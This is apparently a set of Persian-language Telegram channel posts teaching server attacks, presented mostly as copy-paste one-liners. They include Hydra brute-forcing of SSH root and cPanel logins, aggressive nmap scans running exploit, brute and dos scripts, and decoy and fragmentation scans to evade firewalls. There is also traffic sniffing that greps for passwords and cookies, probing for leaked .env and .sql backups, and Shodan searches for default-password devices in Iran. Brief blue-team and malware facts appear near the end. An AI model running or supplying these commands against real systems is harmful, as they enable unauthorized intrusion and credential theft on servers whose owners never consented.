حمله به سرور SSH با Hydra (کرک پسورد)

hydra -l root -P rockyou.txt ssh://target.com

-l root یوزرنیم هدف
-P rockyou.txt لیست پسورد

بعد از چند دقیقه اگر ضعیف باشه پسوردش درمیاد البته به پسوردلیست شما و تارگت بستگی داره، مثلا تارگت روسی سعی کنید پسورد لیست روسی هم تست کنید و...

پسورد لیست دارید؟ با ری‌اکشن [👍/👎] بگید 🌷

#SSH #Hydra #آموزشی #ℳℴ𝒷𝒾𝓃

حمله به CPanel هم مثل قبلی هست:

hydra -l admin -P rockyou.txt target.com http-post-form "/login/:user=^USER^&pass=^PASS^:F=incorrect"

فقط:

فرم لاگین cPanel رو هدف بگیر
پسوردش درمیاد و کل هاست دستته

مثل قبلی پسورد لیست میخواد.

#cPanel #آموزشی #ℳℴ𝒷𝒾𝓃

اسکن آسیب‌پذیری کامل سرور

nmap -sV -sC -p- --script=vuln target.com

همه پورت‌ها رو اسکن میکنه و آسیب‌پذیری‌های شناخته‌شده رو نشون میده و اگه سرور قدیمی باشه، اکسپلویتش رو پیدا میکنی...

#nmap #آموزشی #ℳℴ𝒷𝒾𝓃

فقط بزنید کد اسکنر گاد زیر رو... 🗿
یه نسخه عالی از کد بالا است.

t=target.com; sudo nmap -sS -sV -sC -O -A -p- -T4 --min-rate=10000 --script="vuln,auth,default,discovery,exploit,brute,broadcast,dos" --script-timeout=60s --open --reason -oN /tmp/god_scan_$t.txt $t 2>/dev/null; echo "[+] OPEN PORTS:"; grep "open" /tmp/god_scan_$t.txt; echo; echo "[+] VULNERABILITIES:"; grep -iE "vulnerable|cve-|exploit|brute|weak|auth|bypass|backdoor|default password" /tmp/god_scan_$t.txt; echo; echo "[+] OS DETECTION:"; grep -iE "os:|running:|aggressive|device type" /tmp/god_scan_$t.txt; echo; echo "[+] FULL REPORT SAVED: /tmp/god_scan_$t.txt"

فقط کافیه target.com رو عوض کنی و کل خط رو بزنی تو ترمینال...

✅ همه پورت‌های باز پورت‌های باز
✅ آسیب‌پذیری‌ها (CVE ها، بک‌دورها، پسورد پیش‌فرض)
✅ سیستم‌عامل، دقیق با نسخه
✅ با گزارش کامل

#nmap #آموزشی #ℳℴ𝒷𝒾𝓃

ممنونم از اعتمادتون 🙏
خوشحالم که در کنار شما به‌عنوان ادمین فعالیت می‌کنم. امیدوارم بتونیم محتوای مفید و حرفه‌ای در زمینه هک و امنیت برای اعضای چنل ارائه بدیم. 🤝🔐
#Tyger

🛡️ Blue Team Fact

گاهی یک Login موفق، خودش نشونه‌ی حمله نیست؛
اما اگر همان Login از یک IP غیرمعمول، در ساعت غیرعادی و همراه با تغییرات مشکوک در حساب انجام شود، می‌تواند یک IOC/Signal مهم برای SOC باشد.

🎯 تحلیل‌گرهای SOC معمولاً به یک Event منفرد اکتفا نمی‌کنند؛ Correlation بین چندین Event است که تصویر واقعی حمله را می‌سازد.

#SOC #BlueTeam #CyberSecurity
#Tyger

Monospace

🌐 Whois: ثبت‌کننده دامنه، تاریخ، DNS

whois target.com

اطلاعات مفید:
- نام و ایمیل ثبت‌کننده (شاید فیشینگ)
- تاریخ ایجاد و انقضا
- Name Servers
- شماره تلفن (معمولاً مخفی با WHOIS Guard)

⚡️ ابزار آنلاین: whois.domaintools.com
⚡️ در ترمینال: whois target.com

🎯 میزبانی مشترک بودن دامنه‌ها؟ → شاید حمله به هاست!


#آموزشی #Whois
#آموزشی #Whois

Shodan: موتور جستجوی دستگاه‌های متصل

🌍 Shodan: گوگل برای دستگاه‌های IoT و سرورها!

دستورات جستجو:
port:21 city:"Tehran"
port:3389 os:"Windows"
"default password" country:IR
cisco country:IR
apache after:2024

🎯 جستجوی پیشرفته:
webcam port:554 country:IR
mysql port:3306 country:IR

🔍 Shodan برای پیدا کردن هدف‌های بالقوه عالی است

#آموزشی #Shodan

مخفی کردن خودت موقع اسکن (Stealth Mode)

nmap -sS -p- -T2 -D RND:10 --randomize-hosts --spoof-mac 0 -f target.com

پیدا کردن آسیب‌پذیری‌های خاص با یک خط

nmap --script="http-*" -p 80,443 target.com | grep -E "CVE|exploit|vulnerable|http-enum|http-title|http-headers"

گرفتن اطلاعات WHOIS و DNS با یک خط

whois target.com && dig ANY target.com +short && host -a target.com

پیدا کردن ساب‌دامین‌های مخفی

for sub in $(cat wordlist.txt); do host $sub.target.com | grep "has address" & done; wait

کرک SSH سریع با هیدرا

hydra -l root -P rockyou.txt -t 4 -w 5 ssh://target.com

شنود ترافیک شبکه با tcpdump

sudo tcpdump -i eth0 -nn -s0 -A 'port 80 or port 443' | grep -iE "password|user|token|cookie"

دور زدن فایروال با فرگمنت‌کردن

nmap -f --mtu 8 -sS -p 80,443 target.com

پیدا کردن فایل‌های حساس روی سرور

for ext in .bak .sql .zip .tar.gz .env .config; do echo "--- $ext ---"; curl -s -o /dev/null -w "%{http_code}" http://target.com/backup$ext; echo; done

تمام🗿

#nmap #Hydra #SSH #Hacking #آموزشی #ℳℴ𝒷𝒾𝓃

جمع‌آوری اطلاعات از طریق ایمیل

🩸 OSINT از ایمیل‌ها:

۱. بررسی HaveIBeenPwned (هشدار لو رفتن رمز)
۲. جستجوی Hunter.io برای ایمیل‌های سازمانی
۳. بررسی LinkedIn برای ساختار ایمیل (first.last@company.com)
۴. Sherlock: پیدا کردن حساب‌های کاربری با یک نام کاربری

🎯 ابزار: theHarvester
theHarvester -d target.com -b google,linkedin

#آموزشی #Email #OSINT

Phishing Frenzy | فریم‌ورک شبیه‌سازی فیشینگ 🎣

🔺 Phishing Frenzy یک ابزار متن‌باز برای مدیریت و اجرای کمپین‌های فیشینگ در محیط‌های تست امنیتی است.

🔺 امکان ساخت صفحات شبیه‌سازی‌شده، مدیریت کمپین‌ها و بررسی نتایج را فراهم می‌کند.

📌 مناسب برای آموزش، آگاهی‌رسانی و ارزیابی امنیت سازمان‌ها

🔗 GitHub link

#Phishing #CyberSecurity
#Tyger

چخبر رفقا

🛡️ Blue Team Fact

خیلی از حملات با یک Alert واضح شروع نمی‌شن؛
گاهی مهاجم با استفاده از ابزارهای قانونی سیستم مثل PowerShell فعالیت می‌کنه تا رفتار مخربش کمتر جلب توجه کنه.

🎯 به همین دلیل، در SOC فقط دنبال «ابزار مخرب» نیستند؛ رفتار و الگوی اجرای آن اهمیت زیادی دارد.

#SOC #BlueTeam #PowerShell #CyberSecurity #Tyger

نفر دومی که شیش بیاره وینه ی تدی میدم بهش

🔴 Red Team Fact
در Red Team، هدف فقط «نفوذ» نیست؛ هدف اینه که مشخص بشه آیا تیم دفاعی می‌تونه فعالیت مهاجم رو تشخیص بده یا نه. 👀
به همین دلیل، هر عملیات Red Team باید قابل اندازه‌گیری و مستندسازی باشه تا نقاط ضعف دفاعی مشخص بشن.
#RedTeam #CyberSecurity #Pentest
#Tyger

🛡️ Security Fact
🦠 Trojan یا «اسب تروجان» خودش یک نوع بدافزار محسوب میشه که معمولاً خودش رو به شکل یک فایل یا برنامه‌ی به‌ظاهر سالم نشون میده.
مثلاً ممکنه یک فایل ظاهراً معمولی اجرا بشه، اما در پس‌زمینه فعالیت مخربی انجام بده.
🎯 نکته مهم برای Blue Team:

ظاهر سالم یک فایل، به معنی امن بودنش نیست.
#CyberSecurity #Trojan #BlueTeam #Malware #Tyger

🦠 Malware Fact

بدافزارها فقط برای خراب کردن سیستم ساخته نمی‌شن؛
بعضی از آن‌ها با هدف سرقت اطلاعات، دسترسی غیرمجاز یا حفظ دسترسی طولانی‌مدت طراحی می‌شن.

🎯 نکته جالب: بعضی بدافزارها تلاش می‌کنن فعالیت خودشون رو از دید کاربر و ابزارهای امنیتی مخفی نگه دارن.

#Malware #CyberSecurity #Threat
#Tyger

🕶️ Hacker Fact

هکرها همیشه دنبال «هک کردن سیستم» نیستند؛
گاهی ارزشمندترین نقطه ورود، انسان پشت سیستم است. 🎯

مهندسی اجتماعی با سوءاستفاده از اعتماد، عجله یا خطای انسانی می‌تواند مسیر حمله را باز کند.

🔐 ضعیف‌ترین نقطه یک سیستم، همیشه تکنولوژی نیست.

#Hacker #SocialEngineering #CyberSecurity #Tyger